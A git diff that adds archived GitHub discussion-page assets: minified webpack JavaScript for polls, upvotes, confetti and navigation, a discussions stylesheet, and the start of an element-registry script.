fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts"